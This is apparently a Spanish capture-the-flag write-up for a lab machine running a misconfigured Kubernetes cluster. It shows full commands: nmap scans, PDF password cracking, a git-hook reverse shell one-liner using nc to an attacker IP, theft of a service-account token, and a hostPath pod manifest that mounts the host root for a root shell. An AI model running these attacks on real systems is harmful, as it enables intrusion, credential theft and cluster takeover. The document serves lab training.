Table of Contents

LinkNivelCreador
AquíMediottauveron

Reconocimiento

¡Aloha! ¡Bienvenido a un nuevo write up!

¡Para esta fase de reconocimiento, usemos nmap para escanear los servicios de la máquina!

╰─ lanfran@parrot ❯ sudo nmap 10.10.24.160 -p- -sS --min-rate 5000 -n -Pn                                                          ─╯
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-26 19:23 CEST
Nmap scan report for 10.10.24.160
Host is up (0.076s latency).
Not shown: 65529 closed ports
PORT      STATE    SERVICE
22/tcp    open     ssh
6443/tcp  open     sun-sr-https
10250/tcp open     unknown
30180/tcp filtered unknown
31111/tcp open     unknown
31112/tcp open     unknown

Nmap done: 1 IP address (1 host up) scanned in 24.34 seconds

╰─ lanfran@parrot ❯ sudo nmap 10.10.24.160 -p 22,6443,10250,30180,31111,31112 -sV --min-rate 5000 -n -Pn                            ─╯
[sudo] password for lanfran: 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-26 20:56 CEST
Nmap scan report for 10.10.24.160
Host is up (0.060s latency).

PORT      STATE SERVICE           VERSION
22/tcp    open  ssh               OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
6443/tcp  open  ssl/sun-sr-https?
10250/tcp open  ssl/http          Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
30180/tcp open  http              nginx 1.21.0
31111/tcp open  unknown
31112/tcp open  ssh               OpenSSH 7.5 (protocol 2.0)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.35 seconds

Después de ejecutar ambos escaneos en la máquina, tenemos algo como esto:

PuertoServicio
22SSH
6443Kubernetes API server
10250Kubelet API
30180Nginx
31111Gitea(Pod)*
31112SSH(Pod)*

(*) Determiné que estos puertos son de pods debido al rango de puertos de los pods predeterminados: 30000-32767. Referencia aquí.

Así que ahora enumeremos nuestro interesante servicio del puerto 30180 el servidor Nginx, que nos acaba de mostrar una página 401.

╰─ lanfran@parrot ❯ scan http://10.10.24.160:30180/                                                                                 ─╯
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.24.160:30180/
[+] Threads:        50
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/10/26 20:55:04 Starting gobuster
===============================================================
/team (Status: 301)
===============================================================
2021/10/26 20:55:10 Finished
===============================================================

¡Excelente! ¡Un nuevo directorio!

¡Veamos qué hay en él!

╰─ lanfran@parrot ❯ curl 10.10.24.160:30180/team/                                                                                                                   ─╯
<!DOCTYPE HTML>
<html lang="en">
<head>
<META charset="UTF-8">
<META name="viewport"
 content="width=device-width, initial-scale=1.0">
<title></title>
<style>
[...]
<body>
    <div class='center'>
      <p class="awesome">Alright chums, you can now push your stuff in! <br />
      My pals are waiting for me on Wow, we gotta do serious business, I see you tomorrow.<br />
      Times up, let's do this! <br />
      <iframe width="560" height="315" src="https://www.youtube.com/embed/ufeEAxz1AH8" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

      </p>
      <!-- I shouldn't forget this -->
      <div id="uninteresting_file.pdf" style="visibility: hidden; display: none;">JVBERi0xLjcKJb/3ov4KMSAwIG9iago8PCAvRGVzdHMgMyAwIFIgL0V4dGVuc2lvbnMgPDwgL0FE
QkUgPDwgL0Jhc2VWZXJzaW9uIC8xLjcgL0V4dGVuc2lvbkxldmVsIDggPj4gPj4gL1BhZ2VzIDQg
MCBSIC9UeXBlIC9DYXRhbG9nID4+CmVuZG9iagoyIDAgb2JqCjw8IC9DcmVhdGlvbkRhdGUgPDEw
[REDACTADO]
YWQwMGE5NjgxZWU3YWVkZWYxYTc4ZjQwMmQ2NTYxPjw4OGFkMDBhOTY4MWVlN2FlZGVmMWE3OGY0
MDJkNjU2MT5dIC9FbmNyeXB0IDEzIDAgUiA+PgpzdGFydHhyZWYKODY2NAolJUVPRgo=
</div>
    </div>

</body>

Flag 1

Mmm un extraño base64 escondido en un div con el nombre uninteresting_file.pdf. ¡Copiemos y decodifiquemos este base64!

╰─ lanfran@parrot ❯ cat encode.txt | base64 --decode > uninteresting_file.pdf                                                                                       ─╯

╰─ lanfran@parrot ❯ ls -la                                                                                                                                          ─╯
total 32
drwxr-xr-x 1 lanfran lanfran    86 Oct 26 19:48 .
drwxr-xr-x 1 lanfran lanfran   468 Oct 26 19:36 ..
-rw-r--r-- 1 lanfran lanfran 12311 Oct 26 19:47 encode.txt
-rw-r--r-- 1 lanfran lanfran  9113 Oct 26 19:48 uninteresting_file.pdf

¡Guau! En realidad, es un verdadero pdf pero está protegido con una contraseña, ¡usemos john para descifrarlo!

╰─ lanfran@parrot ❯ perl /usr/share/john/pdf2john.pl uninteresting_file.pdf > pdf.hash                                                                              ─╯

╰─ lanfran@parrot ❯ john pdf.hash --wordlist=/usr/share/wordlists/rockyou.txt                                                                                       ─╯
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 6 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTADO]      (uninteresting_file.pdf)
1g 0:00:02:32 DONE (2021-10-26 19:51) 0.006544g/s 397.0p/s 397.0c/s 397.0C/s crazyk..bobby23
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
Session completed

¡Excelente! ¡Y cuando usamos esta contraseña para abrir el pdf, encontramos algo similar a una contraseña! Dejémoslo para más tarde.

Entonces, continuemos con la enumeraración, ¡veamos qué esconde el servidor gitea!

Después de registrar una cuenta ficticia, encontramos un nuevo usuario: leeroy!

Entonces, ¿quizás la contraseña que encontramos en el pdf sea para este usuario? ¡Intentemos!

loged

¡Sí! ¡Ahora podemos ver los repositorios de este usuario!

Si vas a la configuración del webhook del repositorio “jenkins”, puedes ver un webhook, ¡que el secreto es en realidad nuestra segunda bandera!

web

Flag 2

Dado que este usuario puede agregar Git Hooks a los repositorios, creé uno nuevo y usé un exploit similar a este, para una vieja máquina THM, llamada Git And Crumpets.

Aquí está el exploit que usamos:

#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.9.6.53 1337 >/tmp/f

expl

[Terminal 1]

╰─ lanfran@parrot ❯ touch crackme.md && git init && git add crackme.md && git commit -m "Exploiting" && git remote add origin http://10.10.24.160:31111/leeroy/vuln.git && git push -u origin master
hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint: 
hint: 	git config --global init.defaultBranch <name>
hint: 
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint: 
hint: 	git branch -m <name>
Initialized empty Git repository in /[...]/exploiting_git/.git/
[master (root-commit) b8dd8d4] Exploiting
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 crackme.md
Username for 'http://10.10.24.160:31111': leeroy
Password for 'http://leeroy@10.10.24.160:31111': 
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Writing objects: 100% (3/3), 214 bytes | 214.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0

----------------

[Terminal 2]

╰─ lanfran@parrot ❯ nc -nlvp 1337                                                                                                  ─╯
listening on [any] 1337 ...
connect to [10.9.6.53] from (UNKNOWN) [10.10.24.160] 37783
bash: cannot set terminal process group (15): Not a tty
bash: no job control in this shell
bash-4.4$ id
id
uid=1000(git) gid=1000(git) groups=1000(git),1000(git)
bash-4.4$ pwd
pwd
/data/git/repositories/leeroy/vuln.git
bash-4.4$ cd /root
bash-4.4$ ls -la
total 12
drwxrwxrwx    3 root     root          4096 May 31 22:01 .
drwxr-xr-x    1 root     root          4096 Oct 26 17:25 ..
drwxr-xr-x    2 root     root          4096 May 31 22:01 ..2021_05_31_22_01_32.228018415
lrwxrwxrwx    1 root     root            31 May 31 22:01 ..data -> ..2021_05_31_22_01_32.228018415
lrwxrwxrwx    1 root     root            16 May 31 22:01 flag2.txt -> ..data/flag2.txt
bash-4.4$ cat flag2.txt 
flag{[REDACTADO]}

Después de cargar la segunda bandera, utilicé la pista de la bandera 3. “kubectl”.

¡Así que tal vez tengamos algunos secretos/tokens para usar con kubectl y podamos obtenerlos desde este pod!

¡Y si! ¡Tenemos un token guardado! ¡Guardémoslo en nuestra máquina local!

bash-4.4$ ls -la /var/run/secrets/kubernetes.io
total 8
drwxr-xr-x    3 root     root          4096 Oct 26 17:25 .
drwxr-xr-x    3 root     root          4096 Oct 26 17:25 ..
drwxrwxrwt    3 root     root           140 Oct 26 17:25 serviceaccount
bash-4.4$ cd /var/run/secrets/kubernetes.io/serviceaccount
bash-4.4$ ls -la
total 4
drwxrwxrwt    3 root     root           140 Oct 26 17:25 .
drwxr-xr-x    3 root     root          4096 Oct 26 17:25 ..
drwxr-xr-x    2 root     root           100 Oct 26 17:25 ..2021_10_26_17_25_23.066083395
lrwxrwxrwx    1 root     root            31 Oct 26 17:25 ..data -> ..2021_10_26_17_25_23.066083395
lrwxrwxrwx    1 root     root            13 Oct 26 17:25 ca.crt -> ..data/ca.crt
lrwxrwxrwx    1 root     root            16 Oct 26 17:25 namespace -> ..data/namespace
lrwxrwxrwx    1 root     root            12 Oct 26 17:25 token -> ..data/token
bash-4.4$ cat token
eyJhbGciOiJSUzI1NiIsIm[REDACTADO]BAx_djkHFv3vza54WS9w

Flag 3

¡Y aquí viene la mejor parte de esta máquina! “Abusar de un cluster de Kubernetes mal configurado”.

¡Así que ab-usemos este cluster!

╰─ lanfran@parrot ❯ /tmp/kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://10.10.24.160:6443 auth can-i --list
Resources   Non-Resource URLs   Resource Names   Verbs
*.*         []                  []               [*]
            [*]                 []               [*]

╰─ lanfran@parrot ❯ /tmp/kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://10.10.24.160:6443 get namespaces
NAME              STATUS   AGE
default           Active   147d
kube-system       Active   147d
kube-public       Active   147d
kube-node-lease   Active   147d

Después de esta sencilla enumeración, conocemos todos los namespaces y ¡tenemos acceso a todos ellos!

¡Ahora obtengamos los sectres del kube-system, para peder leer la flag3!

╰─ lanfran@parrot ❯ /tmp/kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://10.10.24.160:6443 get secrets flag3 -o yaml -n kube-system
apiVersion: v1
data:
  flag3.txt: Zmx[REDACTADO]IX0=
kind: Secret
metadata:
  annotations:
    kubectl.kubernetes.io/last-applied-configuration: |
      {"apiVersion":"v1","kind":"Secret","metadata":{"annotations":{},"name":"flag3","namespace":"kube-system"},"stringData":{"flag3.txt":"flag{[REDACTADO]}"},"type":"Opaque"}
  creationTimestamp: "2021-05-31T22:01:30Z"
  name: flag3
  namespace: kube-system
  resourceVersion: "591"
  uid: 599c6a8b-2a93-4253-a02c-6c0a7eccdc3f
type: Opaque

Root / Flag 4

Después de conseguir la bandera 3, intentemos terminar esta máquina, ¡llegando a “root”!

¡Primero obtengamos todos los pods y la información de ellos!

╰─ lanfran@parrot ❯ /tmp/kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://10.10.24.160:6443 get pods                                  ─╯
NAME                     READY   STATUS    RESTARTS   AGE
gitea-0                  1/1     Running   2          147d
nginx-7f459c6889-8slv2   1/1     Running   2          147d


╰─ lanfran@parrot ❯ /tmp/kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://10.10.24.160:6443 get pod nginx-7f459c6889-8slv2 -o yaml    ─╯
apiVersion: v1
kind: Pod
metadata:
  creationTimestamp: "2021-05-31T21:57:34Z"
  generateName: nginx-7f459c6889-
  labels:
    app: nginx
    pod-template-hash: 7f459c6889
  name: nginx-7f459c6889-8slv2
[...]
  containerStatuses:
  - containerID: containerd://0a3ab874a77bbbaf2767c915a76d202d9179f70d635e35c429d2806ca2fde4fa
    image: docker.io/library/nginx:latest
    imageID: docker.io/library/nginx@sha256:6d75c99af15565a301e48297fa2d121e15d80ad526f8369c526324f0f7ccb750
    lastState:
      terminated:
        containerID: containerd://11b48c2a2652638f80a7376f6c2ad107e4040f8348b301db5d24c80226d57665
[...]

¡Tenemos un contenedor de docker con una imagen de nginx en este pod! ¡Como supuse antes!

Ahora, para llegar a root, carguemos y apliquemos una configuración maliciosa, que contiene un exploit para montar el directorio raíz “/” en nuestro nuevo directorio “pwned” y también podemos obtener una shell de root con esta configuración.

╰─ lanfran@parrot ❯ cat pwned.yaml                                                                                                  ─╯
apiVersion: v1
kind: Pod
metadata:
  name: pwned-pod
spec:
  containers:
  - image: docker.io/library/nginx@sha256:6d75c99af15565a301e48297fa2d121e15d80ad526f8369c526324f0f7ccb750
    name: pwned
    command: [ "/bin/bash", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
    volumeMounts:
    - mountPath: /pwned
      name: pwned
  volumes:
  - name: pwned
    hostPath:
      path: /
      type: Directory
╰─ lanfran@parrot ❯ /tmp/kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://10.10.24.160:6443 -n default apply -f pwned.yaml            ─╯
pod/pwned-pod created

╰─ lanfran@parrot ❯ /tmp/kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://10.10.24.160:6443 get pods  ─╯
NAME                     READY   STATUS    RESTARTS   AGE
nginx-7f459c6889-8slv2   1/1     Running   2          147d
gitea-0                  1/1     Running   2          147d
pwned-pod                1/1     Running   0          44s

¡Se creó nuestro nuevo pod, ahora solo queda conectarse al pod y obtener la bandera de root!

╰─ lanfran@parrot ❯ /tmp/kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://10.10.24.160:6443 -n default exec -it pwned-pod bash            ─╯
kubectl exec [POD] [COMMAND] is DEPRECATED and will be removed in a future version. Use kubectl exec [POD] -- [COMMAND] instead.

root@pwned-pod:/# id
uid=0(root) gid=0(root) groups=0(root)
root@pwned-pod:/# cat /pwned/root/root.txt
flag{[REDACTADO]}

¡Y hemos rooteado la máquina!

Eso es todo de mi parte, ¡espero que lo encuentre útil!